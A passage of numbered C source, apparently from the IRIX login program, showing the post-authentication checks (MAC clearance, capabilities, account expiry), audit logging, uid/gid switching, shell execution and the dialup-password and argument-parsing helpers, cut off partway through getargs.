| 854 | ia_audit("LOGIN", u_name, 0, "Invalid dialup password"); | ||
| 855 | cap_surrender(ocap); | ||
| 856 | (void) sleep ((unsigned)Def_slptime); | ||
| 857 | pfmt(stderr, MM_ERROR|MM_NOGET, gettxt(incorrectmsgid, | ||
| 858 | incorrectmsg)); | ||
| 859 | failure_log(); | ||
| 860 | continue; | ||
| 861 | } | ||
| 862 | #ifdef sgi | ||
| 863 | (void) alarm(0); | ||
| 864 | |||
| 865 | /* | ||
| 866 | * Verify the user is within clearance. If MAC is not | ||
| 867 | * configured, the user is always within clearance. | ||
| 868 | */ | ||
| 869 | if (sysconf(_SC_MAC) > 0) { | ||
| 870 | struct clearance *clp; | ||
| 871 | char *mac_requested; | ||
| 872 | |||
| 873 | /* | ||
| 874 | * get MAC info from database | ||
| 875 | */ | ||
| 876 | clp = sgi_getclearancebyname (u_name); | ||
| 877 | if (clp == (struct clearance *) NULL) { | ||
| 878 | capv = CAP_AUDIT_WRITE; | ||
| 879 | ocap = cap_acquire (1, &capv); | ||
| 880 | ia_audit("LOGIN", u_name, 0, | ||
| 881 | "MAC clearance check failed"); | ||
| 882 | cap_surrender(ocap); | ||
| 883 | continue; | ||
| 884 | } | ||
| 885 | |||
| 886 | /* | ||
| 887 | * determine what MAC label was requested | ||
| 888 | */ | ||
| 889 | mac_requested = getsenv ("MAC", envp); | ||
| 890 | if (mac_requested == (char *) NULL) { | ||
| 891 | if (clp->cl_default == (char *) NULL) { | ||
| 892 | capv = CAP_AUDIT_WRITE; | ||
| 893 | ocap = cap_acquire (1, &capv); | ||
| 894 | ia_audit("LOGIN", u_name, 0, | ||
| 895 | "MAC clearance check failed"); | ||
| 896 | cap_surrender(ocap); | ||
| 897 | continue; | ||
| 898 | } | ||
| 899 | mac_requested = clp->cl_default; | ||
| 900 | } | ||
| 901 | |||
| 902 | /* | ||
| 903 | * convert user input into internal form. | ||
| 904 | * if remote login ignore user input and | ||
| 905 | * use the current process label unless | ||
| 906 | * MACREMOTE is CLEARANCE. | ||
| 907 | */ | ||
| 908 | if (Mac_Remote == MAC_SESSION && (rflag || hflag)) | ||
| 909 | u_mac = mac_get_proc (); | ||
| 910 | else | ||
| 911 | u_mac = mac_from_text (mac_requested); | ||
| 912 | if (u_mac == (mac_t) NULL) { | ||
| 913 | capv = CAP_AUDIT_WRITE; | ||
| 914 | ocap = cap_acquire (1, &capv); | ||
| 915 | ia_audit("LOGIN", u_name, 0, | ||
| 916 | "MAC clearance check failed"); | ||
| 917 | cap_surrender(ocap); | ||
| 918 | continue; | ||
| 919 | } | ||
| 920 | |||
| 921 | /* | ||
| 922 | * verify that the requested MAC label is permitted | ||
| 923 | */ | ||
| 924 | if (mac_clearedlbl (clp, u_mac) != MAC_CLEARED) { | ||
| 925 | mac_free(u_mac); | ||
| 926 | capv = CAP_AUDIT_WRITE; | ||
| 927 | ocap = cap_acquire (1, &capv); | ||
| 928 | ia_audit("LOGIN", u_name, 0, | ||
| 929 | "MAC clearance check failed"); | ||
| 930 | cap_surrender(ocap); | ||
| 931 | continue; | ||
| 932 | } | ||
| 933 | } | ||
| 934 | |||
| 935 | /* | ||
| 936 | * Verify the user's capabilities (privileges) | ||
| 937 | */ | ||
| 938 | if (sysconf(_SC_CAP) > 0) { | ||
| 939 | char *cap_requested; | ||
| 940 | |||
| 941 | /* | ||
| 942 | * If capability was not explicitly requested this | ||
| 943 | * will be NULL. | ||
| 944 | */ | ||
| 945 | cap_requested = getsenv("CAP", envp); | ||
| 946 | |||
| 947 | /* | ||
| 948 | * Look for an implicit capability request | ||
| 949 | */ | ||
| 950 | if (cap_requested == NULL) { | ||
| 951 | struct user_cap *clp; | ||
| 952 | |||
| 953 | if (clp = sgi_getcapabilitybyname(u_name)) | ||
| 954 | cap_requested = clp->ca_default; | ||
| 955 | else | ||
| 956 | cap_requested = "all="; | ||
| 957 | } | ||
| 958 | /* | ||
| 959 | * However you got it, convert it to binary form. | ||
| 960 | */ | ||
| 961 | u_cap = cap_from_text(cap_requested); | ||
| 962 | |||
| 963 | /* | ||
| 964 | * Verify that this user is allowed the requested | ||
| 965 | * capability set. | ||
| 966 | */ | ||
| 967 | if (!cap_user_cleared(u_name, u_cap)) { | ||
| 968 | cap_free(u_cap); | ||
| 969 | capv = CAP_AUDIT_WRITE; | ||
| 970 | ocap = cap_acquire (1, &capv); | ||
| 971 | ia_audit("LOGIN", u_name, 0, | ||
| 972 | "CAP clearance check failed"); | ||
| 973 | cap_surrender(ocap); | ||
| 974 | continue; | ||
| 975 | } | ||
| 976 | } | ||
| 977 | #endif | ||
| 978 | /* | ||
| 979 | * Check for login expiration | ||
| 980 | */ | ||
| 981 | ia_get_logexpire(uinfo, &ia_expire); | ||
| 982 | if (ia_expire > 0) { | ||
| 983 | if (ia_expire < DAY_NOW) { | ||
| 984 | capv = CAP_AUDIT_WRITE; | ||
| 985 | ocap = cap_acquire (1, &capv); | ||
| 986 | ia_audit("LOGIN", u_name, 0, | ||
| 987 | "Account password has expired"); | ||
| 988 | cap_surrender(ocap); | ||
| 989 | pfmt(stderr, MM_ERROR|MM_NOGET, | ||
| 990 | gettxt(incorrectmsgid, incorrectmsg)); | ||
| 991 | exit(1); | ||
| 992 | } | ||
| 993 | } | ||
| 994 | |||
| 995 | /* | ||
| 996 | * if this is an ID-based privilege mechanism and the | ||
| 997 | * user is privileged but NOT on the system console, exit! | ||
| 998 | */ | ||
| 999 | if ((priv_uid >= 0) && !on_console(priv_uid)) { | ||
| 1000 | /* for consistency with unicos and to address pv: 200420 | ||
| 1001 | * print out slightly misleading error message | ||
| 1002 | */ | ||
| 1003 | pfmt(stderr, MM_ERROR|MM_NOGET, gettxt(incorrectmsgid, | ||
| 1004 | incorrectmsg)); | ||
| 1005 | exit(10); | ||
| 1006 | } | ||
| 1007 | |||
| 1008 | /* | ||
| 1009 | * Have to set the process label before the chdir. | ||
| 1010 | */ | ||
| 1011 | if (sysconf(_SC_MAC) > 0) { | ||
| 1012 | capv = CAP_MAC_RELABEL_SUBJ; | ||
| 1013 | ocap = cap_acquire (1, &capv); | ||
| 1014 | if (mac_set_proc (u_mac) == -1) { | ||
| 1015 | cap_surrender (ocap); | ||
| 1016 | mac_free (u_mac); | ||
| 1017 | pfmt(stderr, MM_ERROR, | ||
| 1018 | ":321:Bad user clearance.\n"); | ||
| 1019 | capv = CAP_AUDIT_WRITE; | ||
| 1020 | ocap = cap_acquire (1, &capv); | ||
| 1021 | ia_audit("LOGIN", u_name, 0, | ||
| 1022 | "Bad user clearance"); | ||
| 1023 | cap_surrender(ocap); | ||
| 1024 | exit(1); | ||
| 1025 | } | ||
| 1026 | cap_surrender (ocap); | ||
| 1027 | mac_free (u_mac); | ||
| 1028 | } | ||
| 1029 | |||
| 1030 | #ifdef EXECSH | ||
| 1031 | if (*ia_shellp == '*') { | ||
| 1032 | capv = CAP_CHROOT, ocap = cap_acquire (1, &capv); | ||
| 1033 | if (chroot(pdir) < 0 ) { | ||
| 1034 | cap_surrender (ocap); | ||
| 1035 | capv = CAP_AUDIT_WRITE; | ||
| 1036 | ocap = cap_acquire (1, &capv); | ||
| 1037 | ia_audit("LOGIN", u_name, 0, | ||
| 1038 | "No directory for subsystem root"); | ||
| 1039 | cap_surrender(ocap); | ||
| 1040 | pfmt(stderr, MM_ERROR, | ||
| 1041 | "uxsgicore:84:No root directory\n"); | ||
| 1042 | continue; | ||
| 1043 | } | ||
| 1044 | cap_surrender (ocap); | ||
| 1045 | envinit[0] = SUBLOGIN; | ||
| 1046 | envinit[1] = (char*)NULL; | ||
| 1047 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1048 | satvwrite(SAT_AE_IDENTITY, SAT_SUCCESS, | ||
| 1049 | "LOGIN|+|%s|Subsystem root: %s", u_name, pdir); | ||
| 1050 | cap_surrender(ocap); | ||
| 1051 | pfmt(stderr, MM_INFO, | ||
| 1052 | ":316:Logging in to subsystem root %s\n", pdir); | ||
| 1053 | execle("/usr/lib/iaf/scheme", | ||
| 1054 | "login", (char*)0, &envinit[0]); | ||
| 1055 | execle("/usr/bin/login", "login", | ||
| 1056 | (char*)0, &envinit[0]); | ||
| 1057 | execle("/etc/login", "login", (char*)0, &envinit[0]); | ||
| 1058 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1059 | ia_audit("LOGIN", u_name, 0, | ||
| 1060 | "Sublogin: No login programs on root"); | ||
| 1061 | cap_surrender(ocap); | ||
| 1062 | pfmt(stderr, MM_ERROR, "uxsgicore:85:No /usr/lib/iaf/scheme or /usr/bin/login or /etc/login on root\n"); | ||
| 1063 | exit(1); | ||
| 1064 | } | ||
| 1065 | { | ||
| 1066 | const cap_value_t caps[] = {CAP_SETUID, | ||
| 1067 | CAP_SETGID, | ||
| 1068 | CAP_AUDIT_WRITE}; | ||
| 1069 | uid_t euid = geteuid(); | ||
| 1070 | gid_t egid = getegid(); | ||
| 1071 | int okchdir; | ||
| 1072 | |||
| 1073 | /* | ||
| 1074 | * We must set our effective uid to that of the | ||
| 1075 | * new user, otherwise a chdir through a mode 700 | ||
| 1076 | * directory or onto a filesystem like DFS or NFS | ||
| 1077 | * will fail. | ||
| 1078 | */ | ||
| 1079 | ocap = cap_acquire(2, caps); | ||
| 1080 | if (setreuid(-1, ia_uid) == -1) { | ||
| 1081 | cap_surrender(ocap); | ||
| 1082 | perror("setreuid"); | ||
| 1083 | exit(1); | ||
| 1084 | } | ||
| 1085 | if (setregid(-1, ia_gid) == -1) { | ||
| 1086 | cap_surrender(ocap); | ||
| 1087 | perror("setregid"); | ||
| 1088 | exit(1); | ||
| 1089 | } | ||
| 1090 | cap_surrender(ocap); | ||
| 1091 | |||
| 1092 | okchdir = chdir(pdir); | ||
| 1093 | |||
| 1094 | /* | ||
| 1095 | * These should never fail, but we check Just In Case | ||
| 1096 | */ | ||
| 1097 | if (setreuid(-1, euid) == -1) { | ||
| 1098 | perror("setreuid"); | ||
| 1099 | exit(1); | ||
| 1100 | } | ||
| 1101 | if (setregid(-1, egid) == -1) { | ||
| 1102 | perror("setregid"); | ||
| 1103 | exit(1); | ||
| 1104 | } | ||
| 1105 | |||
| 1106 | if (okchdir == -1) { | ||
| 1107 | ocap = cap_acquire (1, &caps[2]); | ||
| 1108 | satvwrite(SAT_AE_IDENTITY, SAT_FAILURE, "LOGIN|-|%s|No home directory \"%s\"", u_name, pdir); | ||
| 1109 | cap_surrender(ocap); | ||
| 1110 | pfmt(stderr, MM_ERROR, ":735:unable to change directory to \"%s\"\n", pdir); | ||
| 1111 | exit(1); | ||
| 1112 | } | ||
| 1113 | } | ||
| 1114 | #endif /* EXECSH */ | ||
| 1115 | |||
| 1116 | /* | ||
| 1117 | * get the information for the last time this user logged | ||
| 1118 | * in, and set up the information to be recorded for this | ||
| 1119 | * session. | ||
| 1120 | */ | ||
| 1121 | lastlogok = do_lastlog(&utmp); | ||
| 1122 | |||
| 1123 | break; /* break out of while loop */ | ||
| 1124 | } /* end of infinite while loop */ | ||
| 1125 | |||
| 1126 | /* | ||
| 1127 | * On successfull login: reset user's system-wide | ||
| 1128 | * bad login count to zero. | ||
| 1129 | */ | ||
| 1130 | if (Lockout > 0) | ||
| 1131 | count_badlogins(1, u_name); | ||
| 1132 | |||
| 1133 | if (syslog_success) { | ||
| 1134 | openlog("login", LOG_PID, LOG_AUTH); | ||
| 1135 | if (rflag_set || hflag) { | ||
| 1136 | syslog(LOG_INFO|LOG_AUTH, "%s@%s as %s", | ||
| 1137 | hflag ? "?" : rusername, remotehost, u_name); | ||
| 1138 | } else | ||
| 1139 | syslog(LOG_NOTICE|LOG_AUTH, "%s on %s", u_name, ttyn); | ||
| 1140 | closelog(); | ||
| 1141 | } | ||
| 1142 | |||
| 1143 | /* | ||
| 1144 | * update the utmp and wtmp file entries. | ||
| 1145 | */ | ||
| 1146 | update_utmp(&utmp); | ||
| 1147 | |||
| 1148 | /* | ||
| 1149 | * check if the password has expired, the user wants to | ||
| 1150 | * change password, etc. | ||
| 1151 | */ | ||
| 1152 | verify_pwd(nopassword, priv_uid); | ||
| 1153 | |||
| 1154 | /* | ||
| 1155 | * print advisory messages such as the Copyright messages, | ||
| 1156 | * | ||
| 1157 | */ | ||
| 1158 | pr_msgs(lastlogok); | ||
| 1159 | |||
| 1160 | /* | ||
| 1161 | * release the information held by the different "ia_" | ||
| 1162 | * routines since that information is no longer needed. | ||
| 1163 | */ | ||
| 1164 | ia_closeinfo(uinfo); | ||
| 1165 | |||
| 1166 | #ifdef EXECSH | ||
| 1167 | |||
| 1168 | if (quotactl(Q_SYNC, NULL, 0, NULL) == 0) { | ||
| 1169 | pid_t pid; | ||
| 1170 | char buf[10]; | ||
| 1171 | |||
| 1172 | sprintf(buf, "%d", ia_uid); | ||
| 1173 | if ((pid = fork()) == 0) { | ||
| 1174 | execl(QUOTAWARN, QUOTAWARN, "-n", buf, (char *)0); | ||
| 1175 | exit(1); | ||
| 1176 | } else if (pid != -1) { | ||
| 1177 | (void) waitpid(pid, (int *)NULL, 0); | ||
| 1178 | } | ||
| 1179 | } | ||
| 1180 | |||
| 1181 | capv = CAP_FOWNER, ocap = cap_acquire (1, &capv); | ||
| 1182 | chmod(ttyn, S_IRUSR|S_IWUSR|S_IWGRP); | ||
| 1183 | chown(ttyn, ia_uid, ia_gid); | ||
| 1184 | cap_surrender (ocap); | ||
| 1185 | |||
| 1186 | /* Set the sat_id to the user's UID. */ | ||
| 1187 | capv = CAP_AUDIT_CONTROL, ocap = cap_acquire (1, &capv); | ||
| 1188 | if (sysconf(_SC_AUDIT) > 0 && satsetid(ia_uid) < 0) { | ||
| 1189 | cap_surrender(ocap); | ||
| 1190 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1191 | ia_audit("LOGIN", u_name, 0, "warning: satsetid failed"); | ||
| 1192 | cap_surrender(ocap); | ||
| 1193 | exit(1); | ||
| 1194 | } | ||
| 1195 | cap_surrender(ocap); | ||
| 1196 | |||
| 1197 | capv = CAP_SETGID, ocap = cap_acquire (1, &capv); | ||
| 1198 | if( setgid(ia_gid) == -1 ) { | ||
| 1199 | cap_surrender (ocap); | ||
| 1200 | pfmt(stderr, MM_ERROR, ":319:Bad group id.\n"); | ||
| 1201 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1202 | ia_audit("LOGIN", u_name, 0, "Bad group id"); | ||
| 1203 | cap_surrender(ocap); | ||
| 1204 | exit(1); | ||
| 1205 | } | ||
| 1206 | cap_surrender (ocap); | ||
| 1207 | |||
| 1208 | if (Initgroups && *Initgroups && | ||
| 1209 | strncasecmp(Initgroups, "YES", 3) == 0) { | ||
| 1210 | /* Initialize the supplementary group access list. */ | ||
| 1211 | capv = CAP_SETGID, ocap = cap_acquire (1, &capv); | ||
| 1212 | if (initgroups(u_name, ia_gid) == -1) { | ||
| 1213 | cap_surrender (ocap); | ||
| 1214 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1215 | ia_audit("LOGIN", u_name, 0, | ||
| 1216 | "Could not initialize groups"); | ||
| 1217 | cap_surrender(ocap); | ||
| 1218 | pfmt(stdout, MM_ERROR, | ||
| 1219 | ":320:Could not initialize groups.\n"); | ||
| 1220 | exit(1); | ||
| 1221 | } | ||
| 1222 | if (initauxgroup(u_name, ia_gid, stdout) == -1) { | ||
| 1223 | cap_surrender (ocap); | ||
| 1224 | exit(1); | ||
| 1225 | } | ||
| 1226 | cap_surrender (ocap); | ||
| 1227 | } else { | ||
| 1228 | capv = CAP_SETGID, ocap = cap_acquire (1, &capv); | ||
| 1229 | if (setgroups(1, &ia_gid) == -1) { | ||
| 1230 | cap_surrender (ocap); | ||
| 1231 | pfmt(stdout, MM_ERROR, | ||
| 1232 | ":320:Could not initialize groups.\n"); | ||
| 1233 | exit(1); | ||
| 1234 | } | ||
| 1235 | cap_surrender (ocap); | ||
| 1236 | } | ||
| 1237 | |||
| 1238 | /* | ||
| 1239 | * Start a new array session and set up this user's default | ||
| 1240 | * project ID while we still have root privileges | ||
| 1241 | */ | ||
| 1242 | capv = CAP_SETUID, ocap = cap_acquire (1, &capv); | ||
| 1243 | newarraysess(); | ||
| 1244 | setprid(getdfltprojuser(u_name)); | ||
| 1245 | cap_surrender (ocap); | ||
| 1246 | |||
| 1247 | /* | ||
| 1248 | * Audit successful login (must be done as root, so we can't | ||
| 1249 | * audit anything past the setuid). | ||
| 1250 | */ | ||
| 1251 | if (rflag_set || hflag) { | ||
| 1252 | /* expanded ia_audit for variable args */ | ||
| 1253 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1254 | satvwrite(SAT_AE_IDENTITY, SAT_SUCCESS, | ||
| 1255 | "LOGIN|+|%s|Remote login from %s@%s", u_name, | ||
| 1256 | hflag ? "?" : rusername, remotehost); | ||
| 1257 | cap_surrender(ocap); | ||
| 1258 | } else { | ||
| 1259 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1260 | satvwrite(SAT_AE_IDENTITY, SAT_SUCCESS, | ||
| 1261 | "LOGIN|+|%s|Successful login on %s", u_name, ttyn); | ||
| 1262 | cap_surrender(ocap); | ||
| 1263 | } | ||
| 1264 | |||
| 1265 | capv = CAP_SETUID, ocap = cap_acquire (1, &capv); | ||
| 1266 | #ifdef _SHAREII | ||
| 1267 | /* | ||
| 1268 | * Perform Share II resource limit checks and attach to the | ||
| 1269 | * user's lnode. Root is exempt from resource checks. | ||
| 1270 | */ | ||
| 1271 | if (sgidladd(SH_LIMITS_LIB, RTLD_LAZY)) | ||
| 1272 | { | ||
| 1273 | static const char *Myname = "login"; | ||
| 1274 | |||
| 1275 | SH_HOOK_SETMYNAME(Myname); | ||
| 1276 | if (SH_HOOK_LOGIN(ia_uid, ttyn)) | ||
| 1277 | { | ||
| 1278 | cap_surrender(ocap); | ||
| 1279 | exit(1); | ||
| 1280 | } | ||
| 1281 | |||
| 1282 | } | ||
| 1283 | #endif /* _SHAREII */ | ||
| 1284 | if( setuid(ia_uid) == -1 ){ | ||
| 1285 | cap_surrender (ocap); | ||
| 1286 | pfmt(stderr, MM_ERROR, ":321:Bad user id.\n"); | ||
| 1287 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1288 | ia_audit("LOGIN", u_name, 0, "Bad user id"); | ||
| 1289 | cap_surrender(ocap); | ||
| 1290 | exit(1); | ||
| 1291 | } | ||
| 1292 | cap_surrender (ocap); | ||
| 1293 | #ifdef DCE | ||
| 1294 | /* | ||
| 1295 | * This routine sets up the basic environment. | ||
| 1296 | */ | ||
| 1297 | setup_environ(envp, renvp, pdir, &pshell); | ||
| 1298 | #endif /* DCE */ | ||
| 1299 | #ifdef AFS | ||
| 1300 | /* | ||
| 1301 | * AFS environment vars must be set after the setuid | ||
| 1302 | * so we get the proper identity for the KRBTKFILE name. | ||
| 1303 | * This code used to be executed in setup_environ. | ||
| 1304 | */ | ||
| 1305 | if (afs_verify && __afs_iskauth()){ | ||
| 1306 | for (i = 0; envinit[i] != NULL; ++i) {}; | ||
| 1307 | (void) strncat(afs_tktfile, (*afs_gettktstring)(), sizeof(afs_tktfile)); | ||
| 1308 | envinit[i] = afs_tktfile; | ||
| 1309 | capv = CAP_FOWNER, ocap = cap_acquire (1, &capv); | ||
| 1310 | chown((*afs_gettktstring)(), ia_uid, ia_gid); | ||
| 1311 | cap_surrender (ocap); | ||
| 1312 | } | ||
| 1313 | if (afs_verify) { | ||
| 1314 | envinit[++i] = afs_passwdexp; | ||
| 1315 | sprintf(afs_passwdexp, "AFS_PASSWORD_EXPIRES=%u", afs_exp); | ||
| 1316 | } | ||
| 1317 | #endif /* AFS */ | ||
| 1318 | /* | ||
| 1319 | * Set the user's capability set. | ||
| 1320 | */ | ||
| 1321 | if (sysconf(_SC_CAP) > 0) { | ||
| 1322 | capv = CAP_SETPPRIV, ocap = cap_acquire (1, &capv); | ||
| 1323 | if (cap_set_proc(u_cap) == -1) | ||
| 1324 | { | ||
| 1325 | cap_surrender(ocap); | ||
| 1326 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1327 | ia_audit("LOGIN", u_name, 0, "Bad capability set"); | ||
| 1328 | cap_surrender(ocap); | ||
| 1329 | exit(1); | ||
| 1330 | } | ||
| 1331 | cap_free(u_cap); | ||
| 1332 | cap_free(ocap); | ||
| 1333 | } | ||
| 1334 | |||
| 1335 | /* | ||
| 1336 | * Re-enable the "BSD" signals SIGXCPU and SIGXFSZ if the | ||
| 1337 | * user doesn't want SVR4-type signal semantics. | ||
| 1338 | */ | ||
| 1339 | if (SVR4_Signals && *SVR4_Signals && | ||
| 1340 | !strncasecmp(SVR4_Signals, "NO", 2)) { | ||
| 1341 | (void) signal(SIGXCPU, SIG_DFL); | ||
| 1342 | (void) signal(SIGXFSZ, SIG_DFL); | ||
| 1343 | } | ||
| 1344 | |||
| 1345 | ENVSTRNCAT(minusnam, basename(pshell)); | ||
| 1346 | execl(pshell, minusnam, (char*)0); | ||
| 1347 | |||
| 1348 | /* pshell was not an executable object file, maybe it | ||
| 1349 | * is a shell proceedure or a command line with arguments. | ||
| 1350 | * If so, turn off the SHELL= environment variable. | ||
| 1351 | */ | ||
| 1352 | for (i = 0; envinit[i] != NULL; ++i) { | ||
| 1353 | if ((envinit[i] == shell) && | ||
| 1354 | ((endptr = strchr(shell, '=')) != NULL)) | ||
| 1355 | (*++endptr) = '\0'; | ||
| 1356 | } | ||
| 1357 | |||
| 1358 | |||
| 1359 | if( access( pshell, R_OK|X_OK ) == 0 ) | ||
| 1360 | execl(SHELL, "sh", pshell, (char*)0); | ||
| 1361 | pfmt(stderr, MM_ERROR, ":321:No shell\n"); | ||
| 1362 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1363 | ia_audit("LOGIN", u_name, 0, "No shell"); | ||
| 1364 | cap_surrender(ocap); | ||
| 1365 | exit(1); | ||
| 1366 | |||
| 1367 | #else /* !EXECSH */ | ||
| 1368 | exit(0); | ||
| 1369 | #endif /* EXECSH */ | ||
| 1370 | |||
| 1371 | /* NOTREACHED */ | ||
| 1372 | } | ||
| 1373 | |||
| 1374 | |||
| 1375 | /* | ||
| 1376 | * Procedure: dialpass | ||
| 1377 | * | ||
| 1378 | * | ||
| 1379 | * Notes: Opens either the DIAL_FILE or DPASS_FILE to determine | ||
| 1380 | * if there is a dialup password on this system. | ||
| 1381 | */ | ||
| 1382 | static int | ||
| 1383 | dialpass(char *shellp, uid_t priv_uid) | ||
| 1384 | { | ||
| 1385 | register FILE *fp; | ||
| 1386 | char defpass[PASS_MAX+1]; | ||
| 1387 | char line[80]; | ||
| 1388 | register char *p1, *p2; | ||
| 1389 | |||
| 1390 | |||
| 1391 | if ((fp = fopen(DIAL_FILE, "r")) == NULL) { | ||
| 1392 | return 0; | ||
| 1393 | } | ||
| 1394 | while ((p1 = fgets(line, sizeof(line), fp)) != NULL) { | ||
| 1395 | while (*p1 != '\n' && *p1 != ' ' && *p1 != '\t') | ||
| 1396 | p1++; | ||
| 1397 | *p1 = '\0'; | ||
| 1398 | if (strcmp(line, rttyn) == 0) | ||
| 1399 | break; | ||
| 1400 | } | ||
| 1401 | (void) fclose(fp); | ||
| 1402 | if (p1 == NULL || (fp = fopen(DPASS_FILE, "r")) == NULL) { | ||
| 1403 | return 0; | ||
| 1404 | } | ||
| 1405 | |||
| 1406 | defpass[0] = '\0'; | ||
| 1407 | p2 = 0; | ||
| 1408 | while ((p1 = fgets(line, sizeof(line)-1, fp)) != NULL) { | ||
| 1409 | while (*p1 && *p1 != ':') | ||
| 1410 | p1++; | ||
| 1411 | *p1++ = '\0'; | ||
| 1412 | p2 = p1; | ||
| 1413 | while (*p1 && *p1 != ':') | ||
| 1414 | p1++; | ||
| 1415 | *p1 = '\0'; | ||
| 1416 | if (strcmp(shellp, line) == 0) | ||
| 1417 | break; | ||
| 1418 | |||
| 1419 | /* Existing sites have /bin/sh as the default in d_passwd. | ||
| 1420 | * To keep them secure, check both SHELL (/sbin/sh) | ||
| 1421 | * and /bin/sh to use as the default. Last one found is | ||
| 1422 | * used if both are present. | ||
| 1423 | * BUG 184400 | ||
| 1424 | */ | ||
| 1425 | if ((strcmp(SHELL, line) == 0) || (strcmp("/bin/sh", line)==0)) | ||
| 1426 | { | ||
| 1427 | SCPYN(defpass, p2); | ||
| 1428 | } | ||
| 1429 | p2 = 0; | ||
| 1430 | } | ||
| 1431 | (void) fclose(fp); | ||
| 1432 | if (!p2) | ||
| 1433 | p2 = defpass; | ||
| 1434 | if (*p2 != '\0') | ||
| 1435 | return gpass(gettxt(":332", "Dialup Password:"), p2, priv_uid); | ||
| 1436 | return 0; | ||
| 1437 | } | ||
| 1438 | |||
| 1439 | |||
| 1440 | /* | ||
| 1441 | * Procedure: gpass | ||
| 1442 | * | ||
| 1443 | * Notes: getpass() fails if it cannot open /dev/tty. | ||
| 1444 | * If this happens, and the real UID is privileged, | ||
| 1445 | * (in an ID-based privilege mechanism) then use the | ||
| 1446 | * current stdin and stderr. | ||
| 1447 | * | ||
| 1448 | * This allows login to work with network connections | ||
| 1449 | * and other non-ttys. | ||
| 1450 | */ | ||
| 1451 | static int | ||
| 1452 | gpass(char *prmt, char *pswd, uid_t priv_uid) | ||
| 1453 | { | ||
| 1454 | register char *p1; | ||
| 1455 | cap_value_t capv; | ||
| 1456 | cap_t ocap; | ||
| 1457 | |||
| 1458 | if (((p1 = mygetpass(prmt)) == (char *)0) && (getuid() == priv_uid)) { | ||
| 1459 | p1 = fgetpass(stdin, stderr, prmt); | ||
| 1460 | } | ||
| 1461 | #ifdef AFS | ||
| 1462 | if (p1 && afs_verify) { | ||
| 1463 | if ((*afs_verify)(u_name, p1, &afs_exp, 0) == 0) | ||
| 1464 | return 0; | ||
| 1465 | } | ||
| 1466 | #endif /* AFS */ | ||
| 1467 | #ifdef DCE | ||
| 1468 | if (p1 && dfs_authentication) { | ||
| 1469 | char *dce_err=NULL; | ||
| 1470 | if (dce_verify(u_name, ia_uid, ia_gid, p1, &dce_err)) { | ||
| 1471 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 1472 | if (dce_err) { | ||
| 1473 | satvwrite(SAT_AE_IDENTITY, SAT_FAILURE, | ||
| 1474 | "LOGIN|-|%s|DCE authentication failed: %s", | ||
| 1475 | u_name, dce_err); | ||
| 1476 | free(dce_err); | ||
| 1477 | } else { | ||
| 1478 | satvwrite(SAT_AE_IDENTITY, SAT_FAILURE, | ||
| 1479 | "LOGIN|-|%s|DCE authentication failed", | ||
| 1480 | u_name); | ||
| 1481 | } | ||
| 1482 | cap_surrender(ocap); | ||
| 1483 | return 1; | ||
| 1484 | } | ||
| 1485 | return 0; | ||
| 1486 | } | ||
| 1487 | #endif /* DCE */ | ||
| 1488 | if (!p1 || strcmp(crypt(p1, pswd), pswd)) { | ||
| 1489 | return 1; | ||
| 1490 | } | ||
| 1491 | return 0; | ||
| 1492 | } | ||
| 1493 | |||
| 1494 | |||
| 1495 | /* | ||
| 1496 | * Procedure: chk_args | ||
| 1497 | * | ||
| 1498 | */ | ||
| 1499 | static char ** | ||
| 1500 | chk_args(char **pp) | ||
| 1501 | { | ||
| 1502 | char *p, | ||
| 1503 | *invalidopt = ":669:Invalid options -h, -v\n", | ||
| 1504 | *badservice = ":593:System service not installed\n"; | ||
| 1505 | |||
| 1506 | pwflag = 0; | ||
| 1507 | |||
| 1508 | while (*pp) { | ||
| 1509 | p = *pp; | ||
| 1510 | |||
| 1511 | if (*p++ != '-') { | ||
| 1512 | return pp; | ||
| 1513 | } | ||
| 1514 | else { | ||
| 1515 | pp++; | ||
| 1516 | switch(*p++) { | ||
| 1517 | case 'v': | ||
| 1518 | case 'h': | ||
| 1519 | pfmt(stderr, MM_ERROR, invalidopt); | ||
| 1520 | pfmt(stderr, MM_ERROR, badservice); | ||
| 1521 | exit(1); | ||
| 1522 | break; | ||
| 1523 | case 'p': | ||
| 1524 | /* | ||
| 1525 | * XXX This is the SVR4 login -p option which | ||
| 1526 | * collides with the IRIX/BSD -p option. See | ||
| 1527 | * comments in get_options(). | ||
| 1528 | */ | ||
| 1529 | pwflag++; | ||
| 1530 | break; | ||
| 1531 | } | ||
| 1532 | } | ||
| 1533 | } | ||
| 1534 | return pp; | ||
| 1535 | } | ||
| 1536 | |||
| 1537 | |||
| 1538 | /* | ||
| 1539 | * Procedure: getargs | ||
| 1540 | * | ||
| 1541 | * Notes: scans the data enetered at the prompt and stores the | ||
| 1542 | * information in the argument passed. Exits if EOF is | ||
| 1543 | * enetered. | ||
| 1544 | */ | ||
| 1545 | static char ** | ||
| 1546 | getargs(char *inline) | ||
| 1547 | { | ||
| 1548 | int c, llen = MAXLINE - 1; | ||
| 1549 | char *ptr = envbuf, **reply = args; | ||
| 1550 | enum { | ||
| 1551 | WHITESPACE, ARGUMENT | ||
| 1552 | } state = WHITESPACE; | ||
| 1553 | |||
| 1554 | while ((c = getc(stdin)) != '\n') { | ||
| 1555 | /* | ||
| 1556 | * check ``llen'' to avoid overflow on ``inline''. | ||
| 1557 | */ | ||
| 1558 | if (llen > 0) { | ||
| 1559 | --llen; | ||
| 1560 | /* | ||
| 1561 | * Save a literal copy of the input in ``inline''. | ||
| 1562 | * which is checked in main() to determine if | ||
| 1563 | * this login process "talking" to another login | ||
| 1564 | * process. | ||
| 1565 | */ | ||
| 1566 | *(inline++) = (char) c; | ||
| 1567 | } | ||
| 1568 | switch (c) { | ||
| 1569 | case EOF: | ||
| 1570 | /* | ||
